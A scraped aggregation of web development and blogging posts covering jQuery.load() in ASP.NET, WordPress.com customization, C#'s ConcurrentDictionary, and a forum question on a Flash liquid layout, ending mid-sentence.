mso-ansi-font-weight:bold; mso-bidi-font-weight:bold;} table.MsoTableLightListAccent2OddColumn {mso-style-name:"Light List - Accent 2"; mso-table-condition:odd-column; mso-style-priority:61; mso-style-unhide:no; mso-tstyle-border-top:1.0pt solid #C0504D; mso-tstyle-border-top-themecolor:accent2; mso-tstyle-border-left:1.0pt solid #C0504D; mso-tstyle-border-left-themecolor:accent2; mso-tstyle-border-bottom:1.0pt solid #C0504D; mso-tstyle-border-bottom-themecolor:accent2; mso-tstyle-border-right:1.0pt solid #C0504D; mso-tstyle-border-right-themecolor:accent2;} table.MsoTableLightListAccent2OddRow {mso-style-name:"Light List - Accent 2"; mso-table-condition:odd-row; mso-style-priority:61; mso-style-unhide:no; mso-tstyle-border-top:1.0pt solid #C0504D; mso-tstyle-border-top-themecolor:accent2; mso-tstyle-border-left:1.0pt solid #C0504D; mso-tstyle-border-left-themecolor:accent2; mso-tstyle-border-bottom:1.0pt solid #C0504D; mso-tstyle-border-bottom-themecolor:accent2; mso-tstyle-border-right:1.0pt solid #C0504D; mso-tstyle-border-right-themecolor:accent2;}

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• Ajax-based data loading using jQuery.load() function in ASP.NET

  - by hajan

  In general, jQuery has made Ajax very easy by providing low-level interface, shorthand methods and helper functions, which all gives us great features of handling Ajax requests in our ASP.NET Webs. The simplest way to load data from the server and place the returned HTML in browser is to use the jQuery.load() function. The very firs time when I started playing with this function, I didn't believe it will work that much easy. What you can do with this method is simply call given url as parameter to the load function and display the content in the selector after which this function is chained. So, to clear up this, let me give you one very simple example: $("#result").load("AjaxPages/Page.html"); As you can see from the above image, after clicking the ‘Load Content’ button which fires the above code, we are making Ajax Get and the Response is the entire page HTML. So, rather than using (old) iframes, you can now use this method to load other html pages inside the page from where the script with load function is called. This method is equivalent to the jQuery Ajax Get method $.get(url, data, function () { }) only that the $.load() is method rather than global function and has an implicit callback function. To provide callback to your load, you can simply add function as second parameter, see example: $("#result").load("AjaxPages/Page.html", function () { alert("Page.html has been loaded successfully!") }); Since load is part of the chain which is follower of the given jQuery Selector where the content should be loaded, it means that the $.load() function won't execute if there is no such selector found within the DOM. Another interesting thing to mention, and maybe you've asked yourself is how we know if GET or POST method type is executed? It's simple, if we provide 'data' as second parameter to the load function, then POST is used, otherwise GET is assumed. POST $("#result").load("AjaxPages/Page.html", { "name": "hajan" }, function () { ////callback function implementation });   GET $("#result").load("AjaxPages/Page.html", function () { ////callback function implementation });   Another important feature that $.load() has ($.get() does not) is loading page fragments. Using jQuery's selector capability, you can do this: $("#result").load("AjaxPages/Page.html #resultTable"); In our Page.html, the content now is: So, after the call, only the table with id resultTable will load in our page.   As you can see, we have loaded only the table with id resultTable (1) inside div with id result (2). This is great feature since we won't need to filter the returned HTML content again in our callback function on the master page from where we have called $.load() function. Besides the fact that you can simply call static HTML pages, you can also use this function to load dynamic ASPX pages or ASP.NET ASHX Handlers . Lets say we have another page (ASPX) in our AjaxPages folder with name GetProducts.aspx. This page has repeater control (or anything you want to bind dynamic server-side content) that displays set of data in it. Now, I want to filter the data in the repeater based on the Query String parameter provided when calling that page. For example, if I call the page using GetProducts.aspx?category=computers, it will load only computers… so, this will filter the products automatically by given category. The example ASPX code of GetProducts.aspx page is: <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="GetProducts.aspx.cs" Inherits="WebApplication1.AjaxPages.GetProducts" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> </head> <body> <form id="form1" runat="server"> <div> <table id="tableProducts"> <asp:Repeater ID="rptProducts" runat="server"> <HeaderTemplate> <tr> <th>Product</th> <th>Price</th> <th>Category</th> </tr> </HeaderTemplate> <ItemTemplate> <tr> <td> <%# Eval("ProductName")%> </td> <td> <%# Eval("Price") %> </td> <td> <%# Eval("Category") %> </td> </tr> </ItemTemplate> </asp:Repeater> </ul> </div> </form> </body> </html> The C# code-behind sample code is: public partial class GetProducts : System.Web.UI.Page { public List<Product> products; protected override void OnInit(EventArgs e) { LoadSampleProductsData(); //load sample data base.OnInit(e); } protected void Page_Load(object sender, EventArgs e) { if (Request.QueryString.Count > 0) { if (!string.IsNullOrEmpty(Request.QueryString["category"])) { string category = Request.QueryString["category"]; //get query string into string variable //filter products sample data by category using LINQ //and add the collection as data source to the repeater rptProducts.DataSource = products.Where(x => x.Category == category); rptProducts.DataBind(); //bind repeater } } } //load sample data method public void LoadSampleProductsData() { products = new List<Product>(); products.Add(new Product() { Category = "computers", Price = 200, ProductName = "Dell PC" }); products.Add(new Product() { Category = "shoes", Price = 90, ProductName = "Nike" }); products.Add(new Product() { Category = "shoes", Price = 66, ProductName = "Adidas" }); products.Add(new Product() { Category = "computers", Price = 210, ProductName = "HP PC" }); products.Add(new Product() { Category = "shoes", Price = 85, ProductName = "Puma" }); } } //sample Product class public class Product { public string ProductName { get; set; } public decimal Price { get; set; } public string Category { get; set; } } Mainly, I just have sample data loading function, Product class and depending of the query string, I am filtering the products list using LINQ Where statement. If we run this page without query string, it will show no data. If we call the page with category query string, it will filter automatically. Example: /AjaxPages/GetProducts.aspx?category=shoes The result will be: or if we use category=computers, like this /AjaxPages/GetProducts.aspx?category=computers, the result will be: So, now using jQuery.load() function, we can call this page with provided query string parameter and load appropriate content… The ASPX code in our Default.aspx page, which will call the AjaxPages/GetProducts.aspx page using jQuery.load() function is: <asp:RadioButtonList ID="rblProductCategory" runat="server"> <asp:ListItem Text="Shoes" Value="shoes" Selected="True" /> <asp:ListItem Text="Computers" Value="computers" /> </asp:RadioButtonList> <asp:Button ID="btnLoadProducts" runat="server" Text="Load Products" /> <!-- Here we will load the products, based on the radio button selection--> <div id="products"></div> </form> The jQuery code: $("#<%= btnLoadProducts.ClientID %>").click(function (event) { event.preventDefault(); //preventing button's default behavior var selectedRadioButton = $("#<%= rblProductCategory.ClientID %> input:checked").val(); //call GetProducts.aspx with the category query string for the selected category in radio button list //filter and get only the #tableProducts content inside #products div $("#products").load("AjaxPages/GetProducts.aspx?category=" + selectedRadioButton + " #tableProducts"); }); The end result: You can download the code sample from here. You can read more about jQuery.load() function here. I hope this was useful blog post for you. Please do let me know your feedback. Best Regards, Hajan

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• Customize Your WordPress Blog & Build an Audience

  - by Matthew Guay

  Want to quickly give your blog a fresh coat of paint and make it stand out from the pack?  Here’s how you can customize your WordPress blog and make it uniquely yours. WordPress offers many features that help you make your blog the best it can be.  Although it doesn’t offer as many customization features as full WordPress running on your own server, it still makes it easy to make your free blog as professional or cute as you like.  Here we’ll look at how you can customize features in your blog and build an audience. Personalize Your Blog WordPress make it easy to personalize your blog.  Most of the personalization options are available under the Appearance menu on the left.  Here we’ll look at how you can use most of these. Add New Theme WordPress is popular for the wide range of themes available for it.  While you cannot upload your own theme to your blog, you can choose from over 90 free themes currently available with more added all the time.  To change your theme, select the Themes page under Appearance. The Themes page will show random themes, but you can choose to view them in alphabetical order, by popularity, or how recently they were added.  Or, you can search for a theme by name or features. One neat way to find a theme that suites your needs is the Feature Filter.  Click the link on the right of the search button, and then select the options you want to make sure your theme has.  Click Apply Filters and WordPress will streamline your choices to themes that contain these features. Once you find a theme you like, click Preview under its name to see how your blog will look. This will open a popup that shows your blog with the new theme.  Click the Activate link in the top right corner of the popup if you want to keep this theme; otherwise, click the x in the top left corner to close the preview and continue your search for one you want.   Edit Current Theme Many of the themes on WordPress have customization options so you can make your blog stand out from others using the same theme.  The default theme Twenty Ten lets you customize both the header and background image, and many themes have similar options. To choose a new header image, select the Header page under Appearance.  Select one of the pre-installed images and click Save Changes, or upload your own image. If you upload an image larger than the size for the header, WordPress will let you crop it directly in the web interface.  Click Crop Header when you’ve selected the portion you want for the header of your blog. You can also customize your blog’s background from the Background page under Appearance.  You can upload an image for the background, or can enter a hex value of a color for a solid background.  If you’d rather visually choose a color, click Select a Color to open a color wheel that makes it easy to choose a nice color.  Click Save Changes when you’re done. Note: that all themes may not contain these customization options, but many are flexible.  You cannot edit the actual CSS of your theme on free WordPress blogs, but you you can purchase the Custom CSS Upgrade for $14.97/year to add this ability. Add Widgets With Extra Content Widgets are small addons for your blog, similar to Desktop Gadgets in Windows 7 or Dashboard widgets in Mac OS X.  You can add widgets to your blog to show recent Tweets, favorite Flickr pictures, popular articles, and more.  To add widgets to your blog, open the Widgets page under Appearance. You’ll see a variety of widgets available in the main white box.  Select one you want to add, and drag it to the widget area of your choice.  Different themes may offer different areas to place Widgets, such as the sidebar or footer. Most of the widgets offer configuration options.  Click the down arrow beside its name to edit it.  Set them up as you wish, and click Save on the bottom of the widget. Now we’ve got some nice dynamic content on our blog that’s automatically updated from the net. Choose Blog Extras By default, WordPress shows previews of websites when visitors hover over links on your blog, uses a special mobile theme when people visit from a mobile device, and shows related links to other blogs on the WordPress network at the end of your posts.  If you don’t like these features, you can disable them on the Extras page under Appearance. Build Your Audience Now that your blog is looking nice, we can make sure others will discover it.  WordPress makes it easy for you to make your site discoverable on search engines or social network, and even gives you the option to keep your site private if you’d prefer.  Open the Privacy page under Tools to change your site’s visibility.  By default, it will be indexed by search engines and be viewable to everyone.  You can also choose to leave your blog public but block search engines, or you can make it fully private. If you choose to make your blog private, you can enter up to 35 usernames of people you want to be able to see it.  Each private visitor must have a WordPress.com account so they can login.  If you need more than 35 private members, you can upgrade to allow unlimited private members for $29.97/year. Then, if you do want your site visible from search engines, one of the best ways to make sure your content is discovered by search engines is to register with their webmaster tools.  Once registered, you need to add your key to your site so the search engine will find and index it.  On the bottom of the Tools page, WordPress lets you enter your key from Google, Bing, and Yahoo! to make sure your site is discovered.  If you haven’t signed up with these tools yet, you can signup via the links on this page as well. Post Blog Updates to Social Networks Many people discover the sites they visit from friends and others via social networks.  WordPress makes it easy to automatically share links to your content on popular social networks.  To activate this feature, open the My Blogs page under Dashboard. Now, select the services you want to activate under the Publicize section.  This will automatically update Yahoo!, Twitter, and/or Facebook every time you publish a new post. You’ll have to authorize your connection with the social network.  With Twitter and Yahoo!, you can authorize them with only two clicks, but integrating with Facebook will take several steps.   If you’d rather share links yourself on social networks, you can get shortened URLs to your posts.  When you write a new post or edit an existing one, click the Get Shortlink button located underneath the post’s title. This will give you a small URL, usually 20 characters or less, that you can use to post on social networks such as Twitter.   This should help build your traffic, and if you want to see how many people are checking out your site, check out the stats on your Dashboard.  This shows a graph of how many people are visiting, and popular posts.  Click View All if you’d like more detailed stats including search engine terms that lead people to your blog. Conclusion Whether you’re looking to make a private blog for your group or publish a blog that’s read by millions around the world, WordPress is a great way to do it for free.  And with all of the personalization options, you can make your it memorable and exciting for your visitors. If you don’t have a blog, you can always signup for a free one from WordPress.com.  Also make sure to check out our article on how to Start Your Own Blog with WordPress. Similar Articles Productive Geek Tips Manage Your WordPress Blog Comments from Your Windows DesktopAdd Social Bookmarking (Digg This!) Links to your Wordpress BlogHow-To Geek SoftwareMake a Backup Copy of your Production Wordpress Blog on UbuntuOops! Sorry About the Feed Errors TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips CloudBerry Online Backup 1.5 for Windows Home Server Snagit 10 VMware Workstation 7 Acronis Online Backup Windows Firewall with Advanced Security – How To Guides Sculptris 1.0, 3D Drawing app AceStock, a Tiny Desktop Quote Monitor Gmail Button Addon (Firefox) Hyperwords addon (Firefox) Backup Outlook 2010

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• C#/.NET Little Wonders: The ConcurrentDictionary

  - by James Michael Hare

  Once again we consider some of the lesser known classes and keywords of C#.  In this series of posts, we will discuss how the concurrent collections have been developed to help alleviate these multi-threading concerns.  Last week’s post began with a general introduction and discussed the ConcurrentStack<T> and ConcurrentQueue<T>.  Today's post discusses the ConcurrentDictionary<T> (originally I had intended to discuss ConcurrentBag this week as well, but ConcurrentDictionary had enough information to create a very full post on its own!).  Finally next week, we shall close with a discussion of the ConcurrentBag<T> and BlockingCollection<T>. For more of the "Little Wonders" posts, see the index here. Recap As you'll recall from the previous post, the original collections were object-based containers that accomplished synchronization through a Synchronized member.  While these were convenient because you didn't have to worry about writing your own synchronization logic, they were a bit too finely grained and if you needed to perform multiple operations under one lock, the automatic synchronization didn't buy much. With the advent of .NET 2.0, the original collections were succeeded by the generic collections which are fully type-safe, but eschew automatic synchronization.  This cuts both ways in that you have a lot more control as a developer over when and how fine-grained you want to synchronize, but on the other hand if you just want simple synchronization it creates more work. With .NET 4.0, we get the best of both worlds in generic collections.  A new breed of collections was born called the concurrent collections in the System.Collections.Concurrent namespace.  These amazing collections are fine-tuned to have best overall performance for situations requiring concurrent access.  They are not meant to replace the generic collections, but to simply be an alternative to creating your own locking mechanisms. Among those concurrent collections were the ConcurrentStack<T> and ConcurrentQueue<T> which provide classic LIFO and FIFO collections with a concurrent twist.  As we saw, some of the traditional methods that required calls to be made in a certain order (like checking for not IsEmpty before calling Pop()) were replaced in favor of an umbrella operation that combined both under one lock (like TryPop()). Now, let's take a look at the next in our series of concurrent collections!For some excellent information on the performance of the concurrent collections and how they perform compared to a traditional brute-force locking strategy, see this wonderful whitepaper by the Microsoft Parallel Computing Platform team here. ConcurrentDictionary – the fully thread-safe dictionary The ConcurrentDictionary<TKey,TValue> is the thread-safe counterpart to the generic Dictionary<TKey, TValue> collection.  Obviously, both are designed for quick – O(1) – lookups of data based on a key.  If you think of algorithms where you need lightning fast lookups of data and don’t care whether the data is maintained in any particular ordering or not, the unsorted dictionaries are generally the best way to go. Note: as a side note, there are sorted implementations of IDictionary, namely SortedDictionary and SortedList which are stored as an ordered tree and a ordered list respectively.  While these are not as fast as the non-sorted dictionaries – they are O(log2 n) – they are a great combination of both speed and ordering -- and still greatly outperform a linear search. Now, once again keep in mind that if all you need to do is load a collection once and then allow multi-threaded reading you do not need any locking.  Examples of this tend to be situations where you load a lookup or translation table once at program start, then keep it in memory for read-only reference.  In such cases locking is completely non-productive. However, most of the time when we need a concurrent dictionary we are interleaving both reads and updates.  This is where the ConcurrentDictionary really shines!  It achieves its thread-safety with no common lock to improve efficiency.  It actually uses a series of locks to provide concurrent updates, and has lockless reads!  This means that the ConcurrentDictionary gets even more efficient the higher the ratio of reads-to-writes you have. ConcurrentDictionary and Dictionary differences For the most part, the ConcurrentDictionary<TKey,TValue> behaves like it’s Dictionary<TKey,TValue> counterpart with a few differences.  Some notable examples of which are: Add() does not exist in the concurrent dictionary. This means you must use TryAdd(), AddOrUpdate(), or GetOrAdd().  It also means that you can’t use a collection initializer with the concurrent dictionary. TryAdd() replaced Add() to attempt atomic, safe adds. Because Add() only succeeds if the item doesn’t already exist, we need an atomic operation to check if the item exists, and if not add it while still under an atomic lock. TryUpdate() was added to attempt atomic, safe updates. If we want to update an item, we must make sure it exists first and that the original value is what we expected it to be.  If all these are true, we can update the item under one atomic step. TryRemove() was added to attempt atomic, safe removes. To safely attempt to remove a value we need to see if the key exists first, this checks for existence and removes under an atomic lock. AddOrUpdate() was added to attempt an thread-safe “upsert”. There are many times where you want to insert into a dictionary if the key doesn’t exist, or update the value if it does.  This allows you to make a thread-safe add-or-update. GetOrAdd() was added to attempt an thread-safe query/insert. Sometimes, you want to query for whether an item exists in the cache, and if it doesn’t insert a starting value for it.  This allows you to get the value if it exists and insert if not. Count, Keys, Values properties take a snapshot of the dictionary. Accessing these properties may interfere with add and update performance and should be used with caution. ToArray() returns a static snapshot of the dictionary. That is, the dictionary is locked, and then copied to an array as a O(n) operation.  GetEnumerator() is thread-safe and efficient, but allows dirty reads. Because reads require no locking, you can safely iterate over the contents of the dictionary.  The only downside is that, depending on timing, you may get dirty reads. Dirty reads during iteration The last point on GetEnumerator() bears some explanation.  Picture a scenario in which you call GetEnumerator() (or iterate using a foreach, etc.) and then, during that iteration the dictionary gets updated.  This may not sound like a big deal, but it can lead to inconsistent results if used incorrectly.  The problem is that items you already iterated over that are updated a split second after don’t show the update, but items that you iterate over that were updated a split second before do show the update.  Thus you may get a combination of items that are “stale” because you iterated before the update, and “fresh” because they were updated after GetEnumerator() but before the iteration reached them. Let’s illustrate with an example, let’s say you load up a concurrent dictionary like this: 1: // load up a dictionary. 2: var dictionary = new ConcurrentDictionary<string, int>(); 3:  4: dictionary["A"] = 1; 5: dictionary["B"] = 2; 6: dictionary["C"] = 3; 7: dictionary["D"] = 4; 8: dictionary["E"] = 5; 9: dictionary["F"] = 6; Then you have one task (using the wonderful TPL!) to iterate using dirty reads: 1: // attempt iteration in a separate thread 2: var iterationTask = new Task(() => 3: { 4: // iterates using a dirty read 5: foreach (var pair in dictionary) 6: { 7: Console.WriteLine(pair.Key + ":" + pair.Value); 8: } 9: }); And one task to attempt updates in a separate thread (probably): 1: // attempt updates in a separate thread 2: var updateTask = new Task(() => 3: { 4: // iterates, and updates the value by one 5: foreach (var pair in dictionary) 6: { 7: dictionary[pair.Key] = pair.Value + 1; 8: } 9: }); Now that we’ve done this, we can fire up both tasks and wait for them to complete: 1: // start both tasks 2: updateTask.Start(); 3: iterationTask.Start(); 4:  5: // wait for both to complete. 6: Task.WaitAll(updateTask, iterationTask); Now, if I you didn’t know about the dirty reads, you may have expected to see the iteration before the updates (such as A:1, B:2, C:3, D:4, E:5, F:6).  However, because the reads are dirty, we will quite possibly get a combination of some updated, some original.  My own run netted this result: 1: F:6 2: E:6 3: D:5 4: C:4 5: B:3 6: A:2 Note that, of course, iteration is not in order because ConcurrentDictionary, like Dictionary, is unordered.  Also note that both E and F show the value 6.  This is because the output task reached F before the update, but the updates for the rest of the items occurred before their output (probably because console output is very slow, comparatively). If we want to always guarantee that we will get a consistent snapshot to iterate over (that is, at the point we ask for it we see precisely what is in the dictionary and no subsequent updates during iteration), we should iterate over a call to ToArray() instead: 1: // attempt iteration in a separate thread 2: var iterationTask = new Task(() => 3: { 4: // iterates using a dirty read 5: foreach (var pair in dictionary.ToArray()) 6: { 7: Console.WriteLine(pair.Key + ":" + pair.Value); 8: } 9: }); The atomic Try…() methods As you can imagine TryAdd() and TryRemove() have few surprises.  Both first check the existence of the item to determine if it can be added or removed based on whether or not the key currently exists in the dictionary: 1: // try add attempts an add and returns false if it already exists 2: if (dictionary.TryAdd("G", 7)) 3: Console.WriteLine("G did not exist, now inserted with 7"); 4: else 5: Console.WriteLine("G already existed, insert failed."); TryRemove() also has the virtue of returning the value portion of the removed entry matching the given key: 1: // attempt to remove the value, if it exists it is removed and the original is returned 2: int removedValue; 3: if (dictionary.TryRemove("C", out removedValue)) 4: Console.WriteLine("Removed C and its value was " + removedValue); 5: else 6: Console.WriteLine("C did not exist, remove failed."); Now TryUpdate() is an interesting creature.  You might think from it’s name that TryUpdate() first checks for an item’s existence, and then updates if the item exists, otherwise it returns false.  Well, note quite... It turns out when you call TryUpdate() on a concurrent dictionary, you pass it not only the new value you want it to have, but also the value you expected it to have before the update.  If the item exists in the dictionary, and it has the value you expected, it will update it to the new value atomically and return true.  If the item is not in the dictionary or does not have the value you expected, it is not modified and false is returned. 1: // attempt to update the value, if it exists and if it has the expected original value 2: if (dictionary.TryUpdate("G", 42, 7)) 3: Console.WriteLine("G existed and was 7, now it's 42."); 4: else 5: Console.WriteLine("G either didn't exist, or wasn't 7."); The composite Add methods The ConcurrentDictionary also has composite add methods that can be used to perform updates and gets, with an add if the item is not existing at the time of the update or get. The first of these, AddOrUpdate(), allows you to add a new item to the dictionary if it doesn’t exist, or update the existing item if it does.  For example, let’s say you are creating a dictionary of counts of stock ticker symbols you’ve subscribed to from a market data feed: 1: public sealed class SubscriptionManager 2: { 3: private readonly ConcurrentDictionary<string, int> _subscriptions = new ConcurrentDictionary<string, int>(); 4:  5: // adds a new subscription, or increments the count of the existing one. 6: public void AddSubscription(string tickerKey) 7: { 8: // add a new subscription with count of 1, or update existing count by 1 if exists 9: var resultCount = _subscriptions.AddOrUpdate(tickerKey, 1, (symbol, count) => count + 1); 10:  11: // now check the result to see if we just incremented the count, or inserted first count 12: if (resultCount == 1) 13: { 14: // subscribe to symbol... 15: } 16: } 17: } Notice the update value factory Func delegate.  If the key does not exist in the dictionary, the add value is used (in this case 1 representing the first subscription for this symbol), but if the key already exists, it passes the key and current value to the update delegate which computes the new value to be stored in the dictionary.  The return result of this operation is the value used (in our case: 1 if added, existing value + 1 if updated). Likewise, the GetOrAdd() allows you to attempt to retrieve a value from the dictionary, and if the value does not currently exist in the dictionary it will insert a value.  This can be handy in cases where perhaps you wish to cache data, and thus you would query the cache to see if the item exists, and if it doesn’t you would put the item into the cache for the first time: 1: public sealed class PriceCache 2: { 3: private readonly ConcurrentDictionary<string, double> _cache = new ConcurrentDictionary<string, double>(); 4:  5: // adds a new subscription, or increments the count of the existing one. 6: public double QueryPrice(string tickerKey) 7: { 8: // check for the price in the cache, if it doesn't exist it will call the delegate to create value. 9: return _cache.GetOrAdd(tickerKey, symbol => GetCurrentPrice(symbol)); 10: } 11:  12: private double GetCurrentPrice(string tickerKey) 13: { 14: // do code to calculate actual true price. 15: } 16: } There are other variations of these two methods which vary whether a value is provided or a factory delegate, but otherwise they work much the same. Oddities with the composite Add methods The AddOrUpdate() and GetOrAdd() methods are totally thread-safe, on this you may rely, but they are not atomic.  It is important to note that the methods that use delegates execute those delegates outside of the lock.  This was done intentionally so that a user delegate (of which the ConcurrentDictionary has no control of course) does not take too long and lock out other threads. This is not necessarily an issue, per se, but it is something you must consider in your design.  The main thing to consider is that your delegate may get called to generate an item, but that item may not be the one returned!  Consider this scenario: A calls GetOrAdd and sees that the key does not currently exist, so it calls the delegate.  Now thread B also calls GetOrAdd and also sees that the key does not currently exist, and for whatever reason in this race condition it’s delegate completes first and it adds its new value to the dictionary.  Now A is done and goes to get the lock, and now sees that the item now exists.  In this case even though it called the delegate to create the item, it will pitch it because an item arrived between the time it attempted to create one and it attempted to add it. Let’s illustrate, assume this totally contrived example program which has a dictionary of char to int.  And in this dictionary we want to store a char and it’s ordinal (that is, A = 1, B = 2, etc).  So for our value generator, we will simply increment the previous value in a thread-safe way (perhaps using Interlocked): 1: public static class Program 2: { 3: private static int _nextNumber = 0; 4:  5: // the holder of the char to ordinal 6: private static ConcurrentDictionary<char, int> _dictionary 7: = new ConcurrentDictionary<char, int>(); 8:  9: // get the next id value 10: public static int NextId 11: { 12: get { return Interlocked.Increment(ref _nextNumber); } 13: } Then, we add a method that will perform our insert: 1: public static void Inserter() 2: { 3: for (int i = 0; i < 26; i++) 4: { 5: _dictionary.GetOrAdd((char)('A' + i), key => NextId); 6: } 7: } Finally, we run our test by starting two tasks to do this work and get the results… 1: public static void Main() 2: { 3: // 3 tasks attempting to get/insert 4: var tasks = new List<Task> 5: { 6: new Task(Inserter), 7: new Task(Inserter) 8: }; 9:  10: tasks.ForEach(t => t.Start()); 11: Task.WaitAll(tasks.ToArray()); 12:  13: foreach (var pair in _dictionary.OrderBy(p => p.Key)) 14: { 15: Console.WriteLine(pair.Key + ":" + pair.Value); 16: } 17: } If you run this with only one task, you get the expected A:1, B:2, ..., Z:26.  But running this in parallel you will get something a bit more complex.  My run netted these results: 1: A:1 2: B:3 3: C:4 4: D:5 5: E:6 6: F:7 7: G:8 8: H:9 9: I:10 10: J:11 11: K:12 12: L:13 13: M:14 14: N:15 15: O:16 16: P:17 17: Q:18 18: R:19 19: S:20 20: T:21 21: U:22 22: V:23 23: W:24 24: X:25 25: Y:26 26: Z:27 Notice that B is 3?  This is most likely because both threads attempted to call GetOrAdd() at roughly the same time and both saw that B did not exist, thus they both called the generator and one thread got back 2 and the other got back 3.  However, only one of those threads can get the lock at a time for the actual insert, and thus the one that generated the 3 won and the 3 was inserted and the 2 got discarded.  This is why on these methods your factory delegates should be careful not to have any logic that would be unsafe if the value they generate will be pitched in favor of another item generated at roughly the same time.  As such, it is probably a good idea to keep those generators as stateless as possible. Summary The ConcurrentDictionary is a very efficient and thread-safe version of the Dictionary generic collection.  It has all the benefits of type-safety that it’s generic collection counterpart does, and in addition is extremely efficient especially when there are more reads than writes concurrently. Tweet Technorati Tags: C#, .NET, Concurrent Collections, Collections, Little Wonders, Black Rabbit Coder,James Michael Hare

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• How to have other divs with a flash liquid layout that fits to the page?

  - by brybam

  Basically the majority of my content is flash based. I designed it using Flash Builder (Flex) and Its in a liquid layout, (everything is in percents) and if im JUST embedding the flash content it scales to the page fine, and i have the flash content set to have a padding of 50 px. I put a header div in fine with no problems, but I have 2 problems, the first being the footer div seems to cover up the buttom of the flash content in IE, but it looks just fine in chrome. How can I solve this? I'm using the stock embed code that Flex provides, I tried to edit the css style for the div which I think is #flashContent and give it a min width and min height but it didnt seem to work, actually anything I did to #flashContent didn't seem to do anything, maybe its not the div i need to be adding that attribute to... And my other problem is I dont even know where to start when it comes to placing a div thats 280width by 600height colum to the right side of the flash content. If i could specify a size for the flash content, and the float it left, and float the colum right, and clear it with the container div id be just fine....But remember the flash content is set to 100% Scale (well techically 100%x80% because it looked better that way). Does anyone know how I can start to deal with creating a more complex scaleable flash layouts that includes other divs? ALL WELL MAINTAINING IE SUPPORT? IE is ruining my life. Here's the code I'm using: (or if it will help you visualize what im trying to do here's the page where im working on setting this up http://apumpkinpatch.com/textmashnew/) <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>TextMixup</title> <meta name="google" value="notranslate"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link href="css.css" rel="stylesheet" type="text/css" /> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js"></script> <script src="../appassets/scripts/jquery.titlealert.js"></script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19768131-2']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); function tabNotification() { $.titleAlert('New Message!', {interval:200,requireBlur:true,stopOnFocus:true}); } function joinNotification() { $.titleAlert('Joined Chat!', {interval:200,requireBlur:true,stopOnFocus:true}); } </script> <!-- BEGIN Browser History required section --> <link rel="stylesheet" type="text/css" href="history/history.css" /> <script type="text/javascript" src="history/history.js"></script> <!-- END Browser History required section --> <script type="text/javascript" src="swfobject.js"></script> <script type="text/javascript"> var swfVersionStr = "10.2.0"; var xiSwfUrlStr = "playerProductInstall.swf"; var flashvars = {}; var params = {}; params.quality = "high"; params.bgcolor = "#ffffff"; params.allowscriptaccess = "sameDomain"; params.allowfullscreen = "true"; var attributes = {}; attributes.id = "TextMixup"; attributes.name = "TextMixup"; attributes.align = "middle"; swfobject.embedSWF( "TextMixup.swf", "flashContent", "100%", "80%", swfVersionStr, xiSwfUrlStr, flashvars, params, attributes); swfobject.createCSS("#flashContent", "display:block;text-align:left;"); </script> </head> <body> <div id="homebar"><a href="http://apumpkinpatch.com"><img src="../appassets/images/logo/logoHor_130_30.png" alt="APumpkinPatch HOME" width="130" height="30" hspace="10" vspace="3" border="0"/></a> </div> <div id="topad"> <script type="text/javascript"><!-- google_ad_client = "pub-5824388356626461"; /* 728x90, textmash */ google_ad_slot = "1114351240"; google_ad_width = 728; google_ad_height = 90; //--> </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script> </div> <div id="mainContainer"> <div id="flashContent"> <p> To view this page ensure that Adobe Flash Player version 10.2.0 or greater is installed. </p> <script type="text/javascript"> var pageHost = ((document.location.protocol == "https:") ? "https://" : "http://"); document.write("<a href='http://www.adobe.com/go/getflashplayer'><img src='" + pageHost + "www.adobe.com/images/shared/download_buttons/get_flash_player.gif' alt='Get Adobe Flash player' /></a>" ); </script> </div> <noscript> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="100%" height="80%" id="TextMixup"> <param name="movie" value="TextMixup.swf" /> <param name="quality" value="high" /> <param name="bgcolor" value="#ffffff" /> <param name="allowScriptAccess" value="sameDomain" /> <param name="allowFullScreen" value="true" /> <!--[if !IE]>--> <object type="application/x-shockwave-flash" data="TextMixup.swf" width="100%" height="80%"> <param name="quality" value="high" /> <param name="bgcolor" value="#ffffff" /> <param name="allowScriptAccess" value="sameDomain" /> <param name="allowFullScreen" value="true" /> <!--<![endif]--> <!--[if gte IE 6]>--> <p> Either scripts and active content are not permitted to run or Adobe Flash Player version 10.2.0 or greater is not installed. </p> <!--<![endif]--> <a href="http://www.adobe.com/go/getflashplayer"> <img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash Player" /> </a> <!--[if !IE]>--> </object> <!--<![endif]--> </object> </noscript> <div id="convosPreview">This is a div I would want to appear as a colum to the right of the flash content that can scale</div> <!---End mainContainer --> </div> <div id="footer"> <a href="../apps.html"><img src="../appassets/images/apps.png" hspace="5" vspace="5" alt="random chat app apumpkinpatch" width="228" height="40" border="0" /></a><a href="https://chrome.google.com/webstore/detail/hjmnobclpbhnjcpdnpdnkbgdkbfifbao?hl=en-US#"><img src="../appassets/images/chromeapp.png" alt="chrome app random video chat apumpkinpatch" width="115" height="40" vspace="5" border="0" /></a><br /><br /> <a href="http://spacebarup.com" target="_blank">©2011 Space Bar</a> | <a href="../tos.html">TOS & Privacy Policy</a> | <a href="../help.html">FAQ & Help</a> | <a href="../tips.html">Important online safety tips</a> | <a href="http://www.facebook.com/pages/APumpkinPatchcom/164279206963001?sk=app_2373072738" target="_blank">Discussion Boards</a><br /> <p>You must be at 